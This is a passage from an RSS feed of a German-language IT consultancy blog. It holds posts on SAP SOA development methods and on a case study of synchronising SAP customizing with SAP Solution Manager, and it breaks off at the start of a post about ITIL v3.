Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--></p>
<p>Mit seiner serviceorientierten Architektur (SOA) erlaubt SAP den Kunden Applikationen in neuer Form zu erstellen. Flexible Business Prozesse rufen dabei granulare, vom SAP System zur Verfügung gestellte oder vom Kunden geschaffene SAP Services auf. Die Entwicklung solcher Lösungen ist allerdings ein Bruch mit der herkömmlichen Art und Weise SAP zu customizen und ABAP Funktionen zu bauen und einzuführen. Und genau damit tun sich die traditionellen SAP Entwickler und Integratoren doch ziemlich schwer.</p>
<p>Ausgereifte, und passende konventionelle Software-Engineeringverfahren, wie sie in der Individualentwicklung in der nicht-SAP Informatik zum Einsatz kommen, werden von der SAP-Community allzu einfach als nicht passend abgetan. Dabei verwendet selbst SAP für das Managen der Standardsoftware-Komponenten ein komponentenorientiertes Softwareentwicklungverfahren. Dies lässt sich leicht daran erkennen, wie alle Komponenten der Standardsoftware und deren Abhängigkeiten systemtechnisch sauber im System Landscape Directory, unter Zuhilfenahme des CIM-Modells abgelegt und verwaltet werden.</p>
<p>SAP Kundeneinführungen werden meist noch nach der bewährten, angelehnt an die von SAP selbst propagierte Accelerated SAP- (ASAP-) Einführungsmethodik umgesetzt &#8211; sofern diese überhaupt methodisch eingeführt werden. Schliesslich handelte es sich bei SAP Einführungen nicht in erster Linie um Entwicklungsprojekte, sondern um die reine Einführung und Anpassung eines Softwarepakets. Doch spätestens mit SOA hat sich die Welt verändert. Für die SAP Community scheint es schwierig, mit diesen rasanten Veränderungen von SAP Schritt zu halten.</p>
<p>Was den im SAP Umfeld eingesetzten Methoden wie ASAP und BPM Methodology fehlt, ist das Managen der unterschiedlichen Artefakte, der <a title="Lifecycle Management - Was es dazu braucht" href="http://blog.beteo.ch/2007/10/31/lifecycle-management-%E2%80%93-was-es-dazu-braucht/" target="_blank">logischen und technischen Komponenten</a> und deren Beziehungen untereinander. So ist schon bei simplem Customizing und reiner ABAP-Entwicklung eine effektive <a title="Proavktives Impact Management" href="http://blog.beteo.ch/2008/05/13/proaktives-impact-management-die-basis-fur-bto/" target="_blank">Auswirkungsanalyse</a> von Änderungen auf die Systemkomponenten in den verschiedenen Phasen der Entwicklung kaum möglich! Falls nur die Einführung des Projekts für die SAP-Initiative im Vordergrund steht, braucht man sich hierüber nicht weiter den Kopf zu zerbrechen. Doch wer irgendwann sein System erweitern muss, ist darauf angewiesen, zu wissen, wie beschreibende, logische und technische Lieferobjekte von  Business Blueprints, über ABAP Programme und SAP Customizing zusammenhängen und sich über die Zeit verändern.</p>
<p>Werden nun die Möglichkeiten der serviceorientierten Architektur von SAP genutzt, ist es unabdingbar, die Objekte der SAP Landschaft und Ihre Zusammenhänge konsequent zu verwalten. Die SAP „ Business Process Management Methodology&#8220; für die Einführung von Systemen mit flexibel gestaltbaren Business Prozessen, welche SAP und andere Services konsumieren, hilft in dieser Beziehung kaum weiter. Sollten hier nicht noch geschrieben werden warum Die BPM Methodology hilft primär bei der Abstrahierung von Business Prozessen ins BPM &#8211; Tool von SAP, macht aber keine Aussage darüber wie konsequent die Software-Engingeering hinsichtlich des Komponentenmodells umgesetzt werden sollte.</p>
<p>SOA ist ein starkes Architekturkonzept für SAP selbst, um die eigenen Systeme flexibel und attraktiv weiter zu entwickeln und um Kunden Services zur Verfügung zu stellen. Kunden zeigt SAP jedoch nicht auf, wie und womit sie selbst serviceorientierte Systeme mit SAP Funktionalität bauen sollen.</p>
<p>Wie schon erwähnt setzt selbst SAP beim Entwickeln von SOA basierten Bestandteilen seiner Software nicht mehr auf die Methoden und Werkzeuge der guten alten ABAP-Zeiten. SAP hat im Bereich des Lebenszyklus-Management seiner Standardapplikation die Hausaufgaben gemacht und setzt auf moderne komponentenbasierte Methoden und Werkzeuge. Es ist nun an der SAP Kunden- und Berater-Community dies für Ihre eigenen Umsetzungen zu tun, um analog professionellem, modernem Software-Engingeering andernorts in Unternehmen, nachhaltig SAP-Anwendungen warten und weiterentwickeln zu können. Wäre es nicht bemühend, könnte es fast amüsieren, zu sehen, wie schwer sich erfahrene SAP Berater tun, wenn einmal von SAP keine Methoden und Werkzeuge angeboten werden und alte Ansätze nicht mehr genügen.</p>
<p><strong>Fazit</strong></p>
<p>Damit eine, wie von SAP Marketing suggerierte, Unternehmens-Applikationslandschaft basierend auf SAP-Services und entsprechender SAP SOA Architektur überhaupt erst zum Einsatz kommen kann, muss sich der SAP Kunde erst recht im Klaren sein, wie er die <a title="Versionen und Abhängigkeiten" href="http://blog.beteo.ch/2008/10/29/sap-solution-manager-%E2%80%93-kein-management-fur-sap-solutions/" target="_blank">Versionen und die Abhängigkeiten</a> zwischen den unterschiedlichen Systemkomponenten &#8211; also technischen und beschreibenden, logischen Komponenten der Entwicklung und auch den verschiedenen Services in der Produktion verwaltet.</p>
<p>Er muss seine gesamten SAP Entwicklungsverfahren so ausrichten, dass er „morgen&#8220; jeden einzelnen „Service&#8220; als eigenständige Komponente mit allen Abhängigkeiten unterhalten kann. Dies war auch in der Vergangenheit schon ein Bedürfnis, mit zusätzlichem, eigentlich unnötigem Aufwand allerdings noch im Griff zu behalten. Spätestens mit der aktiven Nutzung einer serviceorientierten Architektur, muss eine typische komponentenorientierte Softwareentwicklung auch im SAP-Umfeld Einzug halten: Nur so kann ein effektives Impact-Management als Voraussetzung für eine effektive Entwicklung und ein zielgerichtetes Testing zur Verfügung gestellt werden.</p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2009/08/03/anwendungsentwicklung-mit-sap-services-%e2%80%93-sap-kunden-und-berater-mussen-dazu-lernen/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>Konsistentes SAP-Customizing mit SAP Solution Manager</title>
		<link>http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/</link>
				<comments>http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/#comments</comments>
				<pubDate>Wed, 15 Jul 2009 06:29:42 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[Change Management]]></category>
		<category><![CDATA[Configuration Management Datenbank]]></category>
		<category><![CDATA[Infoweek "Achtung SAP"]]></category>
		<category><![CDATA[Partner Solutions]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[SAP Tipps]]></category>
		<category><![CDATA[Customizing]]></category>
		<category><![CDATA[Customizing Synchronisation]]></category>
		<category><![CDATA[dezentrale SAP-Systeme]]></category>
		<category><![CDATA[Konsistenz]]></category>
		<category><![CDATA[Mandanten]]></category>
		<category><![CDATA[SAP Company Template]]></category>
		<category><![CDATA[SAP Solution Manager]]></category>
		<category><![CDATA[Swiss IT Magazin]]></category>
		<category><![CDATA[Transportmanagementsystem]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1566</guid>
				<description><![CDATA[Firmen führen einen ständigen Kampf gegen die Inkonsistenzen in den Einstellungen dezentraler SAP-Systeme. Der SAP Solution Manager sorgt für Ordnung. Das zentrale Customizing, welches die Integrität der übergreifenden SAP-Firmenstruktur sicherstellen soll, wird in den meisten Firmen im zentralen SAPTemplate-Customizing-Mandant erstellt und gepflegt. Von hier wird es mittels BC-Set und Transportmanagementsystem zu den dezentralen Customizing-Entwicklungssystemen transportiert. [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><strong>Firmen führen einen ständigen Kampf gegen die Inkonsistenzen in den Einstellungen dezentraler SAP-Systeme. Der SAP Solution Manager sorgt für Ordnung.</strong></p>
<p>Das zentrale Customizing, welches die Integrität der übergreifenden SAP-Firmenstruktur sicherstellen soll, wird in den meisten Firmen im zentralen SAPTemplate-Customizing-Mandant erstellt und gepflegt. Von hier wird es mittels BC-Set und Transportmanagementsystem zu den dezentralen Customizing-Entwicklungssystemen transportiert. Allerdings ist es nicht einfach, die SAP-Customizing-Einstellungen firmenübergreifend konsistent zu halten, gerade für SAP-Anwender, die mit mehreren dezentralen Systemlandschaften arbeiten.</p>
<p>Denn bereits mit dem ersten dezentralen Customizing werden oft bewusst, aber auch unbewusst Änderungen am vorgängig verteilten, zentral unterhaltenen SAP Company Template vorgenommen. Die Folge davon ist, dass das dezentrale Customizing nicht dem zentral gemanagten SAP Company Template entspricht. Die entstehenden Inkonsistenzen müssen immer wieder teuer und mit viel Aufwand beseitigt werden. Organisatorische Massnahmen, um diese Widersprüchlichkeiten zu verhindern, zeigen bislang kaum Wirkung, denn die autonom handelnde dezentrale Entwicklung wird nicht technisch überwacht und kann vom System nicht gewarnt werden. Updates am zentralen SAP Company Template können folglich nach dem Transport zu den dezentralen Systemlandschaften nicht mehr aktiviert werden, da sie möglicherweise das vorgenommene dezentrale Customizing wieder überschreiben. Um trotzdem geänderte zentrale SAP Company Templates dezentral aktivieren zu können, bedarf es sehr grosser Abstimmaufwände.</p>
<h2><strong>SAP-company-Template-Schutz mit SAP Solution-Manager</strong></h2>
<p>Template Roll-out kann man systemtechnisch mit dem SAP Solution Manager in den Griff bekommen. Mittels Einstellungen verhindert dieser, dass die Modifikationen für das Company Template in dezentralen Systemlandschaften überschrieben werden können &#8211; eine wirksame, systemtechnische Qualitätssicherungsmassnahme. Das zentrale Customizing ist damit dezentral sichergestellt. Der SAP Solution Manager kann auch dann noch eingeführt werden, wenn diverse zentrale und dezentrale Anpassungen und Roll-outs bei einem Anwender bereits durchlaufen wurden.</p>
<h2><strong>Aus der Praxis</strong></h2>
<p>Ein weltweit operierender Konzern mit Dutzenden von SAP-ERP-Systemen, davon mehrere Produktivsysteme, definierte vor Jahren ein globales Template. Damit wurden für das Customizing globale Einstellungen definiert, die in allen Produktivumgebungen identisch sein mussten. Die Einhaltung der Einstellungen sollte mittels organisatorischer Massnahmen erreicht werden, deren Umsetzung erwies sich aber als schwierig. Die Vorgaben konnten zu einfach umgangen werden. So nahmen Entwickler Änderungen zum Teil nur auf ihren Entwicklungsmandanten vor, die restlichen wurden «vergessen». Die Situation spitzte sich zu, als sich das Unternehmen und damit auch die Systemumgebung, unter anderem durch Übernahmen, vergrösserte und komplexer wurde. Nach einer Weile entwickelte sich ein massives Delta der wichtigsten 5-Customizing-Mandanten. In einem ersten Versuch probierte das Unternehmen, die Situation durch die zentrale Zusammenlegung der Entwicklungsmandanten zu verbessern. Dieser Ansatz scheiterte aber auf Grund der Komplexität. Ausserdem benötigte ein neues Geschäft in Nordamerika zwingend einen eigenen Mandanten.</p>
<h2><strong>Auf Lösungssuche</strong></h2>
<p>So machte man sich auf die Suche nach einer anderen Lösung. Dabei kristallisierten sich Fragen heraus, die für die Definition und spätere Umsetzung zwingend berücksichtigt werden mussten:</p>
<ul class="unIndentedList">
<li> Wie kann erreicht werden, dass die Einstellungen des Global Template auf allen Entwicklungsmandanten konsistent sind?</li>
</ul>
<ul class="unIndentedList">
<li> Wie wird sichergestellt, dass Einstellung am Global Template in einem dedizierten Mandanten durch das Template vorgenommen werden können?</li>
</ul>
<ul class="unIndentedList">
<li> Wie kann durchgesetzt werden, dass Einstellungen des Global Template auf den Entwicklungsmandanten nicht verändert werden können?</li>
</ul>
<ul class="unIndentedList">
<li> Wie kann gewährleistet werden, dass bestimmte Schlüsselbereiche in Customizing-Tabellen gesperrt werden?</li>
</ul>
<ul class="unIndentedList">
<li> Wie kann bewerkstelligt werden, dass nur ausgewählte Schlüsselbereiche in Customizing-Tabellen verteilt werden?</li>
</ul>
<p>Zur Diskussion standen schliesslich mehrere Lösungsansätze:</p>
<p><strong>1. </strong><strong>Single-Client-Strategie (Erstellen eines zentralen Customizing-Mandanten)</strong></p>
<p>Hierbei wird das Abgleichen und dann Zusammenführen der fünf bestehenden Customizing-Mandanten in einen zentralen Customizing-Mandanten angestrebt. Die grosse Komplexität und das grosse Delta zwischen den bestehenden Mandanten könnten zu Problemen führen. Zudem sind die Anforderungen des Geschäfts aus Nordamerika wegen Benutzung des New Ledger mit diesem Ansatz nicht zu erfüllen.</p>
<p><strong>2. </strong><strong>Organisatorische Regelung und manuelle Verteilung durch Transporte</strong></p>
<p>Im Zentrum dieses Ansatzes steht das erneute Aufstellen von organisatorischen Regelungen in Form von Richtlinien. Diese sehen vor, dass Einstellungen am globalen Template auf einem Entwicklungsmandanten vorgenommen werden, die restlichen Mandanten werden dann mittels manuell angelegten Transporten beliefert. Dieser Ansatz bietet jedoch keine Möglichkeit, Customizing-Einstellungen auf anderen Mandanten zu sperren. Zudem ist diese Lösung mit der grossen Anzahl von Entwicklern kaum umsetzbar beziehungsweise sehr umständlich in einer möglichen späteren Anwendung.</p>
<p><strong>3. </strong><strong>Customizing Synchronisation mit SAP Solution Manager</strong></p>
<p>Mit der Customizing Synchronisation werden globale Einstellungen in den lokalen Mandanten gesperrt beziehungsweise zentral verändert und in die Zielmandanten verteilt. Lokale Einstellungen können weiterhin dezentral in den Zielmandanten vorgenommen werden. Customizing-Einstellungen, die zu einer Synchronisationsgruppe gehören, werden über mehrere Customizing-Mandanten synchron gehalten. Damit entsteht die Möglichkeit, Customizing-Einstellungen zentral vorzunehmen und gleichzeitig in weiteren Mandanten oder gar Systemen synchron zu halten. Gleichzeitig können diese Einstellungen auf den Zielmandanten oder Systemen für Änderungen gesperrt werden. Die grösste Herausforderung dieser Variante besteht darin, das bestehende Global Template in Synchronisationsgruppen zu «verpacken», die Zielmandanten vorgängig abzugleichen und Objekte als global oder lokal zu definieren. Auf Grund der Fragestellungen, der Anforderungen sowie den bereits in früheren Versuchen gemachten Erfahrungen mit organisatorischen Richtlinien und der Single-Client-Strategie wurde Variante 3 ausgewählt und eine Umsetzungsplanung erstellt.</p>
<h2><strong>Umsetzung in Teilschritten</strong></h2>
<p>Wegen der komplexen Systemumgebung und der Auswirkungen auf die Organisation musste die Umsetzung in kontrollierbaren Teilschritten vorgenommen werden. In einer ersten Phase wurden die Systeme zudem auf zwei produktive Entwicklungsmandanten reduziert. Dies auf Basis des grössten gemeinsamen Nenners und auf Grund der grossen Deltas zwischen den Systemen. So sollte das neue Produktivsystem für Nordamerika mit kleinstmöglichem Aufwand aus dem Template erstellt werden können. Gleichzeitig konnte man alle Template-Einstellungen sperren. Die weiteren Mandanten sollten dann im Anschluss in einer zweiten Phase abgeglichen und das Template entsprechend angepasst werden.</p>
<h3><strong>Meilensteine der Umsetzung</strong></h3>
<p>Die wichtigsten Meilensteine der Umsetzung:</p>
<ul>
<li><strong>Projekt Set up: </strong>Unterteilung in Phasen und Iterationen, Definition der Lieferobjekte, Festlegung der Projekt-Organisation, Vereinbarung über Vorgehen betreffend Kommunikation/Risiken/Pendenzen/Entscheidungen/Projektumfang sowie Änderungen daran/Fortschritts-Reporting, Kontrollpunkte für Qualitätssicherung, Rollen und Verantwortlichkeiten</li>
<li><strong>Definition: </strong>Dokumentierte Richtlinien, Namenskonventionen und dokumentierte SAP-Unternehmensstruktur,Verteil-Strategie, Mandanten-Strategie, Locking-Strategie</li>
<li><strong>SAP Solution Manager: </strong>Einrichten von SAP Solution Manager in produktiver Umgebung, Konfiguration für den Einsatz der Customizing Synchronisation</li>
<li><strong>Definition Einstellungen Global Template: </strong>Einstellungen, die im Global Template gehalten werden, zusammen mit Fachbereich erarbeiten, definieren und dokumentieren</li>
<li><strong>Delta der Mandanten: </strong>Sicherstellen der Systemvoraussetzungen für die Vergleichsläufe, Durchführung der Vergleichsläufe zwischen den Mandanten, Erstellen einer Differenzanalyse, Eruieren von Altlasten</li>
<li><strong>Erfassen der Einstellungen in Synchronisationsgruppen: </strong>Aufteilung der Synchronisationsgruppen anhand der eingesetzten SAP-Module, im Bereich Logistik entstanden so zum Beispiel über 25 Synchronisationsgruppen mit ungefähr 1500 einzelnen Synchronisationsobjekten</li>
<li><strong>Definieren von Filterbedingungen für die Sperren: </strong>Definition von Bereichen, das heisst Einstellungen, die nicht synchronisiert, aber dennoch in Zielmandanten gesperrt werden, Zuteilung der Bereiche auf Synchronisationsgruppen</li>
<li><strong>Aufbau des «Global-Template-Mandanten»: </strong>Aufbau des Mandanten durch Abgleich und Zusammenführung der fünf bestehenden Customizing-Mandanten, Synchronisation der Objekte auf den Zielmandanten, Aktivierung der Synchronisation</li>
<li><strong>Vorbereitung «go live»: </strong>Testen, Schulung</li>
<li><strong>Aktivierung: </strong>Aktivierung der Sperren auf den Zielmandanten, Aktivierung der Verteilung</li>
</ul>
<p><strong> </strong></p>
<div style="padding: 15pt; border: 1pt solid #444444; background-color: #eeeeee;"><strong>ECKDATEN DES PRAXISBEISPIELS</strong></p>
<ul class="unIndentedList">
<li><strong>Branche: </strong>Stahl, Edelstahl, Kunststoffe</li>
<li><strong>Benutzeranzahl: </strong>Über 5000 gleichzeitige Benutzer</li>
<li><strong>Anzahl Entwickler: </strong>Über 200, hauptsächlich in DE und USA tätig</li>
<li><strong>Mandanten: </strong>4 in Europa, 1 in den USA</li>
<li><strong>SAP-Module: </strong>Hauptsächlich SD, MM, LO, FI, CO, HR</li>
<li><strong>Projektdauer: </strong>10 Monate</li>
</ul>
</div>
<h2><strong>Laufende Aktivitäten</strong></h2>
<p>In einem weiteren Schritt sollen nun Finanz und Controlling (FI/CO) erweitert sowie die Templates verfeinert werden. Nachdem nun also im Logistikbereich sämtliche Objekte des Template synchronisiert werden, wird die Lösung nun auf den Bereich Finanz und Controlling ausgeweitet. Des weiteren werden Objekte, die in der ersten Phase nicht oder nur teilweise synchronisiert werden konnten, nun einzeln betrachtet, analysiert, abgeglichen und nach Möglichkeit ins globale Template aufgenommen.</p>
<h2><strong>Nutzen</strong></h2>
<p>Die Gründe, wieso Unternehmen ähnliche Ansätze verfolgen sollten, sind vielfältig. So werden beispielsweise die Einstellungen der globalen Templates geschützt und können nur durch ein entsprechend autorisiertes und geschultes Template-Team angepasst werden. In der Standard-Version des Customizing-Mandanten sind die Einstellungen des globalen Template gesperrt und können nicht verändert werden. Ungewollte Einstellungen führen also nicht mehr zu Fehlern in der Produktion. Ausserdem erfolgt die Verteilung automatisiert, Deltas zwischen den Mandanten werden proaktiv unterbunden. Ebenso können neue Produktivmandanten mit minimalem Aufwand erstellt und gleichzeitig in die Verteilung angebunden werden.</p>
<p><strong> </strong></p>
<div style="padding: 15pt; border: 1pt solid #444444; background-color: #eeeeee;">Die Kolumne &#8222;<a title="Achtung SAP!" href="http://www.infoweek.ch/software/softwareasaservice/articles/176986/" target="_blank">Achtung SAP!</a>&#8220; von <a title="Dieter Steiger" href="http://blog.beteo.ch/about/management/" target="_blank">Dieter Steiger</a> erscheint monatlich im <a title="SWISS iT Magazin" href="http://www.swissitmagazine.ch" target="_blank">SWISS IT Magazine</a> (vormals <a title="Infoweek" href="http://www.infoweek.ch" target="_blank">Infoweek</a>). Der vorliegende Artikel wurde in der Ausgabe 08/August 2009, auf den Seiten 18/19 publiziert. Hier geht es zum <a title="E-Paper Achtung SAP!" href="http://www.swissitmagazine.ch/fileserver/vogelonline/issues/epaperarchiv/infoweek_200908/index.html#/18/" target="_blank">E-Paper.</a></div>
<p><strong> </strong></p>
]]></content:encoded>
							<wfw:commentRss>http://blog.beteo.ch/2009/07/15/konsistentes-sap-customizing-mit-sap-solution-manager/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
							</item>
		<item>
		<title>ITIL v3 &#8211; Genügt der Ansatz für ALM?</title>
		<link>http://blog.beteo.ch/2009/06/29/itil-v3-genugt-der-ansatz-fur-alm/</link>
				<comments>http://blog.beteo.ch/2009/06/29/itil-v3-genugt-der-ansatz-fur-alm/#comments</comments>
				<pubDate>Mon, 29 Jun 2009 12:41:13 +0000</pubDate>
		<dc:creator><![CDATA[Dieter Steiger]]></dc:creator>
				<category><![CDATA[Application Lifecycle Management]]></category>
		<category><![CDATA[Best Practice]]></category>
		<category><![CDATA[Change Management]]></category>
		<category><![CDATA[Configuration Management Datenbank]]></category>
		<category><![CDATA[Problem Portfolio Management]]></category>
		<category><![CDATA[Project Portfolio Management]]></category>
		<category><![CDATA[Projekt Management]]></category>
		<category><![CDATA[Projekt- & Portfolio-Management]]></category>
		<category><![CDATA[Service Portfolio Management]]></category>
		<category><![CDATA[ALM]]></category>
		<category><![CDATA[Hermes]]></category>
		<category><![CDATA[ITIL v2]]></category>
		<category><![CDATA[ITIL V3]]></category>
		<category><![CDATA[PMI]]></category>
		<category><![CDATA[Prince2]]></category>

		<guid isPermaLink="false">http://blog.beteo.ch/?p=1359</guid>
				<description><![CDATA[ITIL (Information Technology Infrastructure Library) ist der de-facto Standard für IT-Service Management. ITIL wurde und wird laufend von OGC (Office of Government Commerce) beschrieben ITIL ist verbreitet und anerkannt in der Definition der Strukturen und Prozessen von IT-Operation-Services. 1999 wurde ITIL v2 eingeführt und 2007 folgte die neue Version ITIL v3. ITIL v3 im Vergleich zu [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a title="ITIL V3" href="http://de.wikipedia.org/wiki/IT_Infrastructure_Library" target="_blank">ITIL (Information Technology Infrastructure Library)</a> ist der de-facto Standard für IT-Service Management. ITIL wurde und wird laufend von <a href="http://www.ogc.gov.uk/guidance_itil.asp">OGC (Office of Government Commerce)</a> beschrieben ITIL ist verbreitet und anerkannt in der Definition der Strukturen und Prozessen von IT-Operation-Services. 1999 wurde ITIL v2 eingeführt und 2007 folgte die neue Version ITIL v3.</p>
<h2>ITIL v3 im Vergleich zu ITIL v2</h2>
